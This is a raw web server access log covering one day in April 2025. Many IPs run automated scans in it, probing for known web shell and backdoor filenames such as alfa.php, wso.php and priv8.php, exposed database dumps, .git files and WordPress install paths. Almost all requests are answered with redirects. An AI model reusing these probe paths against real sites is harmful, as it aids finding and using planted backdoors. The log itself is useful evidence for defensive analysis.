"GET /articles.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:41 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 134.209.103.14 - - [08/Apr/2025:03:17:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:03:41:10 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 36.41.75.167 - - [08/Apr/2025:04:33:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.236 - - [08/Apr/2025:04:44:12 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 143.92.34.17 - - [08/Apr/2025:04:55:01 -0400] "GET /apps/admin/view/default/layui/css/layui.css HTTP/1.1" 301 795 "http://grimslut.com/apps/admin/view/default/layui/css/layui.css" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 192.42.116.197 - - [08/Apr/2025:05:49:12 -0400] "GET /database.sql HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I317 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 109.70.100.3 - - [08/Apr/2025:05:49:35 -0400] "GET /wp-content/database.sql HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I317 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 216.244.66.236 - - [08/Apr/2025:06:20:07 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 15.204.43.19 - - [08/Apr/2025:06:44:26 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 172.206.122.170 - - [08/Apr/2025:06:46:19 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:28 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:31 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:35 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:39 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:44 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:49 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:54 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:46:57 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:06:47:02 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 216.244.66.236 - - [08/Apr/2025:07:08:26 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.159.128.155 - - [08/Apr/2025:08:24:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.212.234.244 - - [08/Apr/2025:08:33:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 216.244.66.236 - - [08/Apr/2025:08:46:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 13.59.215.179 - - [08/Apr/2025:09:09:36 -0400] "GET /wp-content/plugins/essential-addons-for-elementor-lite/readme.txt HTTP/1.1" 301 795 "www.google.com" "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0" 15.204.43.19 - - [08/Apr/2025:10:18:01 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 13.92.159.218 - - [08/Apr/2025:10:34:24 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:34:36 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:34:44 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:34:51 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:34:56 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:01 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:08 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:12 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:16 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:20 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:25 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:29 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:36 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:41 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:48 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:54 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:35:59 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:02 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:05 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:08 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:11 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:14 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:17 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:20 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:24 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:27 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:30 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:33 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:38 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:41 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:44 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:47 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:50 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:54 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:36:58 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:03 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:07 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:10 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:13 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:16 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:22 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:26 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:30 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:35 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:39 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:44 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:47 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:50 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:54 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:37:57 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:01 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:06 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:10 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:14 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:19 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:22 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:25 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:28 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:31 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:35 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:39 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:42 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:47 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:53 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.92.159.218 - - [08/Apr/2025:10:38:57 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 196.251.80.22 - - [08/Apr/2025:11:11:31 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [08/Apr/2025:11:11:31 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.80.22 - - [08/Apr/2025:11:11:31 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [08/Apr/2025:11:11:31 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [08/Apr/2025:11:11:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [08/Apr/2025:11:11:36 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 216.244.66.236 - - [08/Apr/2025:11:27:14 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 216.244.66.236 - - [08/Apr/2025:12:14:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.134.109.112 - - [08/Apr/2025:12:25:23 -0400] "GET /thoms.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:22 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:28 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:29 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:33 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:37 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:40 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:44 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:46 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:49 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:13:00:51 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 64.23.233.179 - - [08/Apr/2025:13:04:10 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:02:01 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:02:09 -0400] "GET /wordpress HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:02:21 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:02:36 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:02:51 -0400] "GET /wp HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:02:57 -0400] "GET /blog HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:02 -0400] "GET /new HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:06 -0400] "GET /old HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:10 -0400] "GET /newsite HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:20 -0400] "GET /test HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:31 -0400] "GET /main HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:37 -0400] "GET /testing HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:40 -0400] "GET /site HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:43 -0400] "GET /backup HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:46 -0400] "GET /demo HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:52 -0400] "GET /home HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:03:56 -0400] "GET /tmp HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:04:00 -0400] "GET /dev HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:04:03 -0400] "GET /cms HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:04:06 -0400] "GET /portal HTTP/1.1" 301 795 "-" "-" 196.251.86.86 - - [08/Apr/2025:14:04:10 -0400] "GET /web HTTP/1.1" 301 795 "-" "-" 123.187.240.242 - - [08/Apr/2025:14:21:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 154.83.103.109 - - [08/Apr/2025:14:33:13 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 170.106.65.93 - - [08/Apr/2025:15:01:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 154.83.103.109 - - [08/Apr/2025:15:20:35 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.109 - - [08/Apr/2025:15:20:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:31 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:40 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:41 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:44 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:46 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:47 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:48 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:50 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:53 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [08/Apr/2025:15:33:56 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.254.10.121 - - [08/Apr/2025:15:39:49 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:39:56 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:39:59 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:02 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:06 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:09 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:12 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:16 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:19 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:21 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:23 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:24 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:26 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:30 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:32 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:36 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:39 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:40 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:42 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:45 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:47 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:50 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:52 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:53 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:55 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:56 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:40:59 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:01 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:04 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:05 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:06 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:07 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:09 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:10 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" 